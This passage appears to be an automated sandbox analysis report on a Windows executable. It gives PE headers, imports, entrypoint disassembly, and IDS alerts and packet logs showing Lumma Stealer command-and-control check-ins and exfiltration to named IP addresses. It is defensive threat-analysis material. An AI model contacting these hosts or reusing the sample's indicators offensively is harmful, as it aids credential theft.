Not Before, Not After	15/12/2020 22:24:20 02/12/2021 22:24:20
Subject Chain	CN=Microsoft Corporation, O=Microsoft Corporation, L=Redmond, S=Washington, C=US
Version:	3
Thumbprint MD5:	4068B1B0494EFA79F5A751DCCA8111CD
Thumbprint SHA-1:	914A09C2E02C696AF394048BCB8D95449BCD5B9E
Thumbprint SHA-256:	4A838904E732A380E2856A9D6FEE926E5C57EB59336292AC5D9E47C9B2C1ED13
Serial:	33000003DFFB6AE3F427ECB6A30000000003DF

Entrypoint Preview

Instruction
call 00007F9EE4DFBED6h
jmp 00007F9EE4DFB05Fh
cmp ecx, dword ptr [005C5FD4h]
jne 00007F9EE4DFB1E5h
ret
jmp 00007F9EE4DFBB81h
call 00007F9EE4DFB224h
push 00000000h
call 00007F9EE4DFB515h
pop ecx
test al, al
je 00007F9EE4DFB1F0h
push 005474F9h
call 00007F9EE4DFB6BFh
pop ecx
xor eax, eax
ret
push 00000007h
call 00007F9EE4DFBF50h
int3
push ebp
mov ebp, esp
mov eax, dword ptr [005C5FD4h]
and eax, 1Fh
push 00000020h
pop ecx
sub ecx, eax
mov eax, dword ptr [ebp+08h]
ror eax, cl
xor eax, dword ptr [005C5FD4h]
pop ebp
ret
push ebp
mov ebp, esp
push FFFFFFFFh
push 00565234h
mov eax, dword ptr fs:[00000000h]
push eax
push ebx
push esi
push edi
mov eax, dword ptr [005C5FD4h]
xor eax, ebp
push eax
lea eax, dword ptr [ebp-0Ch]
mov dword ptr fs:[00000000h], eax
push 00000FA0h
push 005CE3E8h
call dword ptr [00573360h]
push 005A1270h
call dword ptr [0057340Ch]
mov esi, eax
test esi, esi
jne 00007F9EE4DFB1F7h
push 00575370h
call dword ptr [0057340Ch]
mov esi, eax
test esi, esi
je 00007F9EE4DFB272h
push 005A12B4h
push esi
call dword ptr [00573410h]
push 000000D0h

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x1c142c	0x168	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x1d0000	0x2c048	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x494c902	0x21d0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x1fd000	0x2217a	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x1a87d0	0x70	.rdata
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x1a88e0	0x18	.rdata
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x1a8840	0x40	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x173000	0x9a8	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x1716d7	0x171800	c6585f771f56fb4853973c836b16320b	False	0.5387043830345061	data	6.50802381544148	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x173000	0x5190a	0x51a00	ca996dfea6264d5208f4e127e32cb156	False	0.28837157829249616	data	4.96465827452165	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x1c5000	0xa184	0x5c00	15d900f1264267645e5fd5b60433631e	False	0.23675271739130435	data	4.717120565189211	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x1d0000	0x2c048	0x2c200	daa9ec7d7944ef7b5c03699dd5014cfc	False	0.09479019121813032	data	2.980958061221572	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x1fd000	0x6f600	0x6f600	92e4c3f57ca85eeebfce6f816d65fecc	False	0.610911633698092	data	7.572921326804689	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_CURSOR	0x1f8a60	0x134	Targa image data - RGB 64 x 65536 x 1 +32 "\001"	English	United States	0.4805194805194805
RT_CURSOR	0x1f8b98	0xb4	Targa image data - Map 32 x 65536 x 1 +16 "\001"	English	United States	0.7
RT_CURSOR	0x1f8c78	0x134	AmigaOS bitmap font "(", fc_YSize 4294967264, 5120 elements, 2nd "\377\360?\377\377\370\177\377\377\374\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377", 3rd	English	United States	0.36363636363636365
RT_CURSOR	0x1f8dc8	0x134	Targa image data - RLE 64 x 65536 x 1 +32 "\001"	English	United States	0.35714285714285715
RT_CURSOR	0x1f8f18	0x134	data	English	United States	0.37337662337662336
RT_CURSOR	0x1f9068	0x134	data	English	United States	0.37662337662337664
RT_CURSOR	0x1f91b8	0x134	Targa image data 64 x 65536 x 1 +32 "\001"	English	United States	0.36688311688311687
RT_CURSOR	0x1f9308	0x134	Targa image data 64 x 65536 x 1 +32 "\001"	English	United States	0.37662337662337664
RT_CURSOR	0x1f9458	0x134	Targa image data - Mono - RLE 64 x 65536 x 1 +32 "\001"	English	United States	0.36688311688311687
RT_CURSOR	0x1f95a8	0x134	Targa image data - RGB - RLE 64 x 65536 x 1 +32 "\001"	English	United States	0.38636363636363635
RT_CURSOR	0x1f96f8	0x134	data	English	United States	0.44155844155844154
RT_CURSOR	0x1f9848	0x134	data	English	United States	0.4155844155844156
RT_CURSOR	0x1f9998	0x134	AmigaOS bitmap font "(", fc_YSize 4294966847, 3840 elements, 2nd "\377?\374\377\377\300\003\377\377\300\003\377\377\340\007\377\377\360\017\377\377\370\037\377\377\374?\377\377\376\177\377\377\377\377\377\377\377\377\377\377\377\377\377", 3rd	English	United States	0.5422077922077922
RT_CURSOR	0x1f9ae8	0x134	data	English	United States	0.2662337662337662
RT_CURSOR	0x1f9c38	0x134	data	English	United States	0.2824675324675325
RT_CURSOR	0x1f9d88	0x134	data	English	United States	0.3246753246753247
RT_BITMAP	0x1f9ff8	0xb8	Device independent bitmap graphic, 12 x 10 x 4, image size 80	English	United States	0.44565217391304346
RT_BITMAP	0x1fa0b0	0x144	Device independent bitmap graphic, 33 x 11 x 4, image size 220	English	United States	0.37962962962962965
RT_ICON	0x1d1228	0x10828	Device independent bitmap graphic, 128 x 256 x 32, image size 67584	English	India	0.049272447651721285
RT_ICON	0x1e1a50	0x94a8	Device independent bitmap graphic, 96 x 192 x 32, image size 38016	English	India	0.07181521967626656
RT_ICON	0x1eaef8	0x5488	Device independent bitmap graphic, 72 x 144 x 32, image size 21600	English	India	0.08761552680221811
RT_ICON	0x1f0380	0x4228	Device independent bitmap graphic, 64 x 128 x 32, image size 16896	English	India	0.08721067548417571
RT_ICON	0x1f45a8	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9600	English	India	0.1274896265560166
RT_ICON	0x1f6b50	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4224	English	India	0.174953095684803
RT_ICON	0x1f7bf8	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 2400	English	India	0.25245901639344265
RT_ICON	0x1f8580	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1088	English	India	0.32092198581560283
RT_DIALOG	0x1d0c90	0x158	data	English	United States	0.5494186046511628
RT_DIALOG	0x1d0de8	0x62	data	English	United States	0.7755102040816326
RT_DIALOG	0x1f9ed8	0xe8	data	English	United States	0.6336206896551724
RT_DIALOG	0x1f9fc0	0x34	data	English	United States	0.9038461538461539
RT_STRING	0x1fa1f8	0x56	data	English	United States	0.6744186046511628
RT_STRING	0x1fa250	0x82	StarOffice Gallery theme p, 536899072 objects, 1st n	English	United States	0.7153846153846154
RT_STRING	0x1fa2d8	0x2a	data	English	United States	0.5476190476190477
RT_STRING	0x1fa308	0x184	data	English	United States	0.48711340206185566
RT_STRING	0x1fa490	0x4ee	data	English	United States	0.375594294770206
RT_STRING	0x1fad10	0x264	data	English	United States	0.3333333333333333
RT_STRING	0x1faa30	0x2da	data	English	United States	0.3698630136986301
RT_STRING	0x1fb758	0x8a	data	English	United States	0.6594202898550725
RT_STRING	0x1fa980	0xac	data	English	United States	0.45348837209302323
RT_STRING	0x1fb648	0xde	data	English	United States	0.536036036036036
RT_STRING	0x1faf78	0x4a8	data	English	United States	0.3221476510067114
RT_STRING	0x1fb420	0x228	data	English	United States	0.4003623188405797
RT_STRING	0x1fb728	0x2c	data	English	United States	0.5227272727272727
RT_STRING	0x1fb7e8	0x53e	data	English	United States	0.2965722801788376
RT_GROUP_CURSOR	0x1f8c50	0x22	Lotus unknown worksheet or configuration, revision 0x2	English	United States	1.0294117647058822
RT_GROUP_CURSOR	0x1f9440	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States	1.3
RT_GROUP_CURSOR	0x1f8db0	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States	1.3
RT_GROUP_CURSOR	0x1f92f0	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States	1.3
RT_GROUP_CURSOR	0x1f91a0	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States	1.3
RT_GROUP_CURSOR	0x1f9ad0	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States	1.3
RT_GROUP_CURSOR	0x1f9050	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States	1.3
RT_GROUP_CURSOR	0x1f96e0	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States	1.3
RT_GROUP_CURSOR	0x1f8f00	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States	1.3
RT_GROUP_CURSOR	0x1f9590	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States	1.3
RT_GROUP_CURSOR	0x1f9830	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States	1.3
RT_GROUP_CURSOR	0x1f9980	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States	1.3
RT_GROUP_CURSOR	0x1f9c20	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States	1.3
RT_GROUP_CURSOR	0x1f9d70	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States	1.3
RT_GROUP_CURSOR	0x1f9ec0	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States	1.3
RT_GROUP_ICON	0x1f89e8	0x76	data	English	India	0.7542372881355932
RT_VERSION	0x1d0e50	0x3d8	data	English	United States	0.38109756097560976
RT_MANIFEST	0x1fbd28	0x31c	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with very long lines (736), with CRLF line terminators	English	United States	0.5238693467336684

Imports

DLL	Import
KERNEL32.dll	ExitProcess, GetStdHandle, GetFileType, SetStdHandle, QueryPerformanceFrequency, VirtualQuery, VirtualAlloc, GetSystemInfo, HeapQueryInformation, FreeLibraryAndExitThread, ExitThread, CreateThread, GetCommandLineW, GetCommandLineA, RtlUnwind, OutputDebugStringW, LCMapStringW, GetTimeZoneInformation, GetConsoleCP, GetConsoleMode, SetFilePointerEx, FindFirstFileExW, FindNextFileW, IsValidCodePage, GetACP, GetOEMCP, GetCPInfo, GetEnvironmentStringsW, FreeEnvironmentStringsW, SetEnvironmentVariableW, GetStringTypeW, GetStartupInfoW, IsDebuggerPresent, InitializeSListHead, GetSystemTimeAsFileTime, QueryPerformanceCounter, IsProcessorFeaturePresent, TerminateProcess, SetUnhandledExceptionFilter, UnhandledExceptionFilter, WaitForSingleObjectEx, ResetEvent, GetTempFileNameW, Sleep, GetProfileIntW, SearchPathW, FindResourceExW, GetWindowsDirectoryW, GetTempPathW, GetTickCount, SystemTimeToTzSpecificLocalTime, GetFileTime, GetFileSizeEx, GetFileAttributesExW, GetFileAttributesW, FileTimeToLocalFileTime, SetErrorMode, VirtualProtect, VerifyVersionInfoW, VerSetConditionMask, lstrcmpiW, GetCurrentProcess, DuplicateHandle, WriteFile, UnlockFile, SetFilePointer, SetEndOfFile, ReadFile, LockFile, GetVolumeInformationW, GetFullPathNameW, GetFileSize, FlushFileBuffers, FindFirstFileW, FindClose, CreateFileW, FileTimeToSystemTime, GlobalGetAtomNameW, GetThreadLocale, DeleteFileW, GlobalFlags, GetUserDefaultUILanguage, GetSystemDefaultUILanguage, GetLocaleInfoW, GetCurrentDirectoryW, LocalReAlloc, LocalAlloc, GlobalHandle, GlobalReAlloc, TlsFree, TlsSetValue, TlsGetValue, TlsAlloc, InitializeCriticalSection, CompareStringW, GlobalFindAtomW, LoadLibraryA, GetSystemDirectoryW, EncodePointer, InitializeCriticalSectionAndSpinCount, GetCurrentProcessId, GlobalAddAtomW, ResumeThread, SetThreadPriority, CreateEventW, WaitForSingleObject, SetEvent, CloseHandle, CopyFileW, FormatMessageW, MulDiv, LocalFree, GlobalUnlock, GlobalSize, WritePrivateProfileStringW, GetPrivateProfileStringW, GetPrivateProfileIntW, lstrcpyW, GlobalFree, FreeResource, WideCharToMultiByte, MultiByteToWideChar, lstrcmpW, lstrcmpA, GlobalDeleteAtom, GlobalLock, GlobalAlloc, LoadLibraryW, LoadLibraryExW, GetModuleHandleA, GetModuleFileNameW, FreeLibrary, GetVersionExW, GetCurrentThreadId, GetCurrentThread, SetLastError, OutputDebugStringA, GetBinaryTypeW, FindResourceW, LoadResource, LockResource, SizeofResource, GetModuleHandleW, GetProcAddress, GetProcessHeap, DeleteCriticalSection, DecodePointer, HeapFree, HeapAlloc, RaiseException, HeapReAlloc, GetLastError, HeapSize, InitializeCriticalSectionEx, LeaveCriticalSection, EnterCriticalSection, GetModuleHandleExW, WriteConsoleW
USER32.dll	SetRectEmpty, SetLayeredWindowAttributes, CharUpperW, DestroyIcon, GetSysColorBrush, MessageBeep, GetNextDlgGroupItem, IsRectEmpty, IntersectRect, SetRect, InvalidateRgn, CopyAcceleratorTableW, OffsetRect, CharNextW, KillTimer, SetTimer, RealChildWindowFromPoint, DeleteMenu, CopyImage, LoadCursorW, WindowFromPoint, ReleaseCapture, SetCapture, WaitMessage, IsDialogMessageW, SetWindowTextW, CheckDlgButton, MoveWindow, ShowWindow, GetMonitorInfoW, MonitorFromWindow, WinHelpW, GetScrollInfo, SetScrollInfo, GetTopWindow, GetClassLongW, SetWindowLongW, PtInRect, EqualRect, MapWindowPoints, AdjustWindowRectEx, GetWindowRect, GetWindowTextLengthW, GetWindowTextW, RemovePropW, GetPropW, SetPropW, ShowScrollBar, GetScrollRange, SetScrollRange, GetScrollPos, SetScrollPos, ScrollWindow, RedrawWindow, SetForegroundWindow, GetForegroundWindow, TrackPopupMenu, SetMenu, GetMenu, GetCapture, SetFocus, GetDlgCtrlID, EndDeferWindowPos, DeferWindowPos, BeginDeferWindowPos, SetWindowPlacement, GetWindowPlacement, IsChild, IsMenu, CreateWindowExW, GetClassInfoExW, GetClassInfoW, RegisterClassW, CallWindowProcW, DefWindowProcW, GetMessageTime, GetMessagePos, SystemParametersInfoW, InflateRect, CopyRect, GetMenuItemInfoW, DestroyMenu, UnhookWindowsHookEx, GetSysColor, ScreenToClient, ClientToScreen, EndPaint, BeginPaint, ReleaseDC, GetWindowDC, GetDC, TabbedTextOutW, GrayStringW, DrawTextExW, DrawTextW, GetDesktopWindow, SetActiveWindow, GetNextDlgTabItem, SendDlgItemMessageA, GetAsyncKeyState, SetCursorPos, UnregisterClassW, PostQuitMessage, LoadIconW, GetSystemMenu, GetDlgItem, EndDialog, CreateDialogIndirectParamW, DestroyWindow, IsWindow, GetClassNameW, FillRect, InvalidateRect, UpdateWindow, DrawStateW, GetLastActivePopup, GetWindowThreadProcessId, GetWindowLongW, MessageBoxW, IsWindowEnabled, BringWindowToTop, LoadAcceleratorsW, TranslateAcceleratorW, LoadMenuW, CreatePopupMenu, InsertMenuItemW, LoadImageW, UnpackDDElParam, ReuseDDElParam, RegisterClipboardFormatW, TrackMouseEvent, IsZoomed, SetWindowRgn, SetCursor, ShowOwnedPopups, NotifyWinEvent, GetMenuDefaultItem, SetMenuDefaultItem, UpdateLayeredWindow, EnableScrollBar, UnionRect, MonitorFromPoint, EnumDisplayMonitors, AppendMenuW, SendMessageW, IsIconic, GetSystemMetrics, GetClientRect, DrawIcon, EnableWindow, PostMessageW, SetWindowPos, SetWindowContextHelpId, GetParent, GetWindow, MapDialogRect, RegisterWindowMessageW, GetMenuStringW, GetMenuState, GetSubMenu, GetMenuItemID, GetMenuItemCount, InsertMenuW, RemoveMenu, GetFocus, CheckMenuItem, EnableMenuItem, SetMenuItemBitmaps, GetMenuCheckMarkDimensions, SetMenuItemInfoW, LoadBitmapW, GetMessageW, DestroyAcceleratorTable, TranslateMessage, DispatchMessageW, PeekMessageW, IsWindowVisible, GetActiveWindow, GetKeyState, ValidateRect, GetCursorPos, SetWindowsHookExW, CallNextHookEx, SetParent, LockWindowUpdate, SetClassLongW, GetKeyNameTextW, PostThreadMessageW, OpenClipboard, CloseClipboard, SetClipboardData, EmptyClipboard, CharUpperBuffW, ModifyMenuW, CopyIcon, FrameRect, GetDoubleClickTime, GetIconInfo, IsCharLowerW, MapVirtualKeyExW, DrawMenuBar, DefFrameProcW, DefMDIChildProcW, TranslateMDISysAccel, IsClipboardFormatAvailable, GetUpdateRect, SubtractRect, CreateMenu, HideCaret, InvertRect, DestroyCursor, GetComboBoxInfo, GetWindowRgn, CreateAcceleratorTableW, MapVirtualKeyW, GetKeyboardState, GetKeyboardLayout, ToUnicodeEx, DrawIconEx, DrawFocusRect, DrawFrameControl, DrawEdge
GDI32.dll	GetClipBox, GetObjectType, GetPixel, GetViewportExtEx, GetWindowExtEx, IntersectClipRect, LineTo, PtVisible, RectVisible, RestoreDC, SaveDC, SelectClipRgn, ExtSelectClipRgn, SelectObject, SelectPalette, SetBkColor, SetBkMode, SetMapMode, SetLayout, GetLayout, SetPolyFillMode, SetROP2, SetTextColor, SetTextAlign, MoveToEx, TextOutW, ExtTextOutW, SetViewportExtEx, SetViewportOrgEx, SetWindowExtEx, SetWindowOrgEx, OffsetViewportOrgEx, OffsetWindowOrgEx, ScaleViewportExtEx, ScaleWindowExtEx, CreateFontIndirectW, GetTextExtentPoint32W, GetBkColor, ExcludeClipRect, CreateRectRgnIndirect, GetRgnBox, CreateCompatibleBitmap, CreateDIBitmap, EnumFontFamiliesW, GetTextCharsetInfo, GetTextMetricsW, CombineRgn, GetMapMode, PatBlt, SetRectRgn, DPtoLP, CreateRoundRectRgn, CreateDIBSection, CreateEllipticRgn, Ellipse, CreatePolygonRgn, Polygon, Polyline, EnumFontFamiliesExW, RealizePalette, SetPixel, StretchBlt, SetDIBColorTable, OffsetRgn, Rectangle, RoundRect, CreatePalette, GetPaletteEntries, GetNearestPaletteIndex, GetSystemPaletteEntries, LPtoDP, ExtFloodFill, SetPaletteEntries, FillRgn, FrameRgn, GetBoundsRect, PtInRegion, GetWindowOrgEx, GetViewportOrgEx, SetPixelV, GetTextFaceW, Escape, CreateRectRgn, CreatePatternBrush, CreatePen, CreateHatchBrush, CreateCompatibleDC, GetObjectW, GetStockObject, DeleteObject, CreateSolidBrush, CreateBitmap, GetDeviceCaps, CreateDCW, CopyMetaFileW, GetTextColor, BitBlt, DeleteDC
MSIMG32.dll	TransparentBlt, AlphaBlend
WINSPOOL.DRV	ClosePrinter, OpenPrinterW, DocumentPropertiesW
ADVAPI32.dll	RegOpenKeyExW, RegEnumKeyExW, RegEnumValueW, RegQueryValueW, RegEnumKeyW, RegCloseKey, RegSetValueExW, RegDeleteValueW, RegDeleteKeyW, RegCreateKeyExW, RegQueryValueExW
SHELL32.dll	ShellExecuteW, SHGetMalloc, SHGetPathFromIDListW, SHGetSpecialFolderLocation, SHBrowseForFolderW, SHAppBarMessage, DragFinish, DragQueryFileW, SHGetFileInfoW, SHGetDesktopFolder
COMCTL32.dll	InitCommonControlsEx
SHLWAPI.dll	PathFindFileNameW, PathIsUNCW, StrFormatKBSizeW, PathStripToRootW, PathRemoveFileSpecW, PathFindExtensionW
UxTheme.dll	GetWindowTheme, IsAppThemed, DrawThemeText, GetThemePartSize, DrawThemeParentBackground, OpenThemeData, CloseThemeData, DrawThemeBackground, GetThemeSysColor, GetCurrentThemeName, IsThemeBackgroundPartiallyTransparent, GetThemeColor
ole32.dll	CoRevokeClassObject, OleIsCurrentClipboard, CoRegisterMessageFilter, DoDragDrop, CreateStreamOnHGlobal, OleLockRunning, OleCreateMenuDescriptor, OleTranslateAccelerator, IsAccelerator, OleGetClipboard, CoLockObjectExternal, RegisterDragDrop, RevokeDragDrop, OleDestroyMenuDescriptor, CoInitializeEx, OleUninitialize, OleInitialize, CoFreeUnusedLibraries, CoDisconnectObject, CreateILockBytesOnHGlobal, StgOpenStorageOnILockBytes, StgCreateDocfileOnILockBytes, CoGetClassObject, OleDuplicateData, CoTaskMemFree, CoTaskMemAlloc, CoInitialize, CoCreateInstance, CLSIDFromProgID, CLSIDFromString, CoCreateGuid, CoUninitialize, OleFlushClipboard, ReleaseStgMedium
OLEAUT32.dll	LoadTypeLib, VarBstrFromDate, VariantCopy, VariantTimeToSystemTime, SystemTimeToVariantTime, SysStringLen, OleCreateFontIndirect, VariantChangeType, VariantClear, VariantInit, SysAllocStringLen, SysFreeString, SysAllocString, SafeArrayDestroy
oledlg.dll	OleUIBusyW
gdiplus.dll	GdipBitmapLockBits, GdipDrawImageI, GdipCreateBitmapFromStream, GdipGetImagePaletteSize, GdipGetImagePalette, GdipGetImagePixelFormat, GdipGetImageWidth, GdipGetImageGraphicsContext, GdipDrawImageRectI, GdipSetInterpolationMode, GdipDeleteGraphics, GdipCreateFromHDC, GdipCreateBitmapFromHBITMAP, GdipDisposeImage, GdipCloneImage, GdiplusStartup, GdipFree, GdipAlloc, GdiplusShutdown, GdipBitmapUnlockBits, GdipCreateBitmapFromScan0, GdipGetImageHeight
OLEACC.dll	LresultFromObject, CreateStdAccessibleObject, AccessibleObjectFromWindow
IMM32.dll	ImmReleaseContext, ImmGetOpenStatus, ImmGetContext
WINMM.dll	PlaySoundW

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States
English	India

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-12-22T23:32:22.671287+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49711	172.67.151.193	443	TCP
2024-12-22T23:32:23.814971+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.5	49711	172.67.151.193	443	TCP
2024-12-22T23:32:23.814971+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	49711	172.67.151.193	443	TCP
2024-12-22T23:32:25.053250+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49717	172.67.151.193	443	TCP
2024-12-22T23:32:26.335952+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.5	49717	172.67.151.193	443	TCP
2024-12-22T23:32:26.335952+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	49717	172.67.151.193	443	TCP
2024-12-22T23:32:27.939198+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49723	172.67.151.193	443	TCP
2024-12-22T23:32:30.702383+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49729	172.67.151.193	443	TCP
2024-12-22T23:32:33.585636+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49739	172.67.151.193	443	TCP
2024-12-22T23:32:36.153334+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49744	172.67.151.193	443	TCP
2024-12-22T23:32:38.218323+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49750	172.67.151.193	443	TCP
2024-12-22T23:32:39.377234+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.5	49750	172.67.151.193	443	TCP
2024-12-22T23:32:40.617746+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49756	172.67.151.193	443	TCP
2024-12-22T23:32:41.667755+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	49756	172.67.151.193	443	TCP
2024-12-22T23:32:46.606714+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49763	194.58.112.174	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 22, 2024 23:32:21.440998077 CET	49711	443	192.168.2.5	172.67.151.193
Dec 22, 2024 23:32:21.441044092 CET	443	49711	172.67.151.193	192.168.2.5
Dec 22, 2024 23:32:21.441121101 CET	49711	443	192.168.2.5	172.67.151.193
Dec 22, 2024 23:32:21.442523003 CET	49711	443	192.168.2.5	172.67.151.193
Dec 22, 2024 23:32:21.442540884 CET	443	49711	172.67.151.193	192.168.2.5
Dec 22, 2024 23:32:22.671092987 CET	443	49711	172.67.151.193	192.168.2.5
Dec 22, 2024 23:32:22.671287060 CET	49711	443	192.168.2.5	172.67.151.193
Dec 22, 2024 23:32:22.672960997 CET	49711	443	192.168.2.5	172.67.151.193
Dec 22, 2024 23:32:22.672988892 CET	443	49711	172.67.151.193	192.168.2.5
Dec 22, 2024 23:32:22.673352003 CET	443	49711	172.67.151.193	192.168.2.5
Dec 22, 2024 23:32:22.788120985 CET	49711	443	192.168.2.5	172.67.151.193
Dec 22, 2024 23:32:22.788249969 CET	49711	443	192.168.2.5	172.67.151.193
Dec 22, 2024 23:32:22.788520098 CET	443	49711	172.67.151.193	192.168.2.5
Dec 22, 2024 23:32:23.814907074 CET	443	49711	172.67.151.193	192.168.2.5
Dec 22, 2024 23:32:23.815009117 CET	443	49711	172.67.151.193	192.168.2.5
Dec 22, 2024 23:32:23.815067053 CET	49711	443	192.168.2.5	172.67.151.193
Dec 22, 2024 23:32:23.822221041 CET	49711	443	192.168.2.5	172.67.151.193
Dec 22, 2024 23:32:23.822241068 CET	443	49711	172.67.151.193	192.168.2.5
Dec 22, 2024 23:32:23.822259903 CET	49711	443	192.168.2.5	172.67.151.193
Dec 22, 2024 23:32:23.822268963 CET	443	49711	172.67.151.193	192.168.2.5
Dec 22, 2024 23:32:23.833026886 CET	49717	443	192.168.2.5	172.67.151.193
Dec 22, 2024 23:32:23.833103895 CET	443	49717	172.67.151.193	192.168.2.5
Dec 22, 2024 23:32:23.833249092 CET	49717	443	192.168.2.5	172.67.151.193
Dec 22, 2024 23:32:23.833760023 CET	49717	443	192.168.2.5	172.67.151.193
Dec 22, 2024 23:32:23.833780050 CET	443	49717	172.67.151.193	192.168.2.5
Dec 22, 2024 23:32:25.053129911 CET	443	49717	172.67.151.193	192.168.2.5
Dec 22, 2024 23:32:25.053250074 CET	49717	443	192.168.2.5	172.67.151.193
Dec 22, 2024 23:32:25.054883957 CET	49717	443	192.168.2.5	172.67.151.193
Dec 22, 2024 23:32:25.054918051 CET	443	49717	172.67.151.193	192.168.2.5
Dec 22, 2024 23:32:25.055185080 CET	443	49717	172.67.151.193	192.168.2.5
Dec 22, 2024 23:32:25.063718081 CET	49717	443	192.168.2.5	172.67.151.193
Dec 22, 2024 23:32:25.063762903 CET	49717	443	192.168.2.5	172.67.151.193
Dec 22, 2024 23:32:25.063829899 CET	443	49717	172.67.151.193	192.168.2.5
Dec 22, 2024 23:32:26.336008072 CET	443	49717	172.67.151.193	192.168.2.5
Dec 22, 2024 23:32:26.336155891 CET	443	49717	172.67.151.193	192.168.2.5
Dec 22, 2024 23:32:26.336210966 CET	49717	443	192.168.2.5	172.67.151.193
Dec 22, 2024 23:32:26.336236954 CET	443	49717	172.67.151.193	192.168.2.5
Dec 22, 2024 23:32:26.336323023 CET	443	49717	172.67.151.193	192.168.2.5
Dec 22, 2024 23:32:26.336365938 CET	49717	443	192.168.2.5	172.67.151.193
Dec 22, 2024 23:32:26.336378098 CET	443	49717	172.67.151.193	192.168.2.5
Dec 22, 2024 23:32:26.343580008 CET	443	49717	172.67.151.193	192.168.2.5
Dec 22, 2024 23:32:26.343637943 CET	49717	443	192.168.2.5	172.67.151.193
Dec 22, 2024 23:32:26.343657970 CET	443	49717	172.67.151.193	192.168.2.5
Dec 22, 2024 23:32:26.351989031 CET	443	49717	172.67.151.193	192.168.2.5
Dec 22, 2024 23:32:26.352036953 CET	49717	443	192.168.2.5	172.67.151.193
Dec 22, 2024 23:32:26.352046013 CET	443	49717	172.67.151.193	192.168.2.5
Dec 22, 2024 23:32:26.360320091 CET	443	49717	172.67.151.193	192.168.2.5
Dec 22, 2024 23:32:26.360375881 CET	49717	443	192.168.2.5	172.67.151.193
Dec 22, 2024 23:32:26.360390902 CET	443	49717	172.67.151.193	192.168.2.5
Dec 22, 2024 23:32:26.415220976 CET	49717	443	192.168.2.5	172.67.151.193
Dec 22, 2024 23:32:26.415285110 CET	443	49717	172.67.151.193	192.168.2.5
Dec 22, 2024 23:32:26.455395937 CET	443	49717	172.67.151.193	192.168.2.5
Dec 22, 2024 23:32:26.455586910 CET	49717	443	192.168.2.5	172.67.151.193
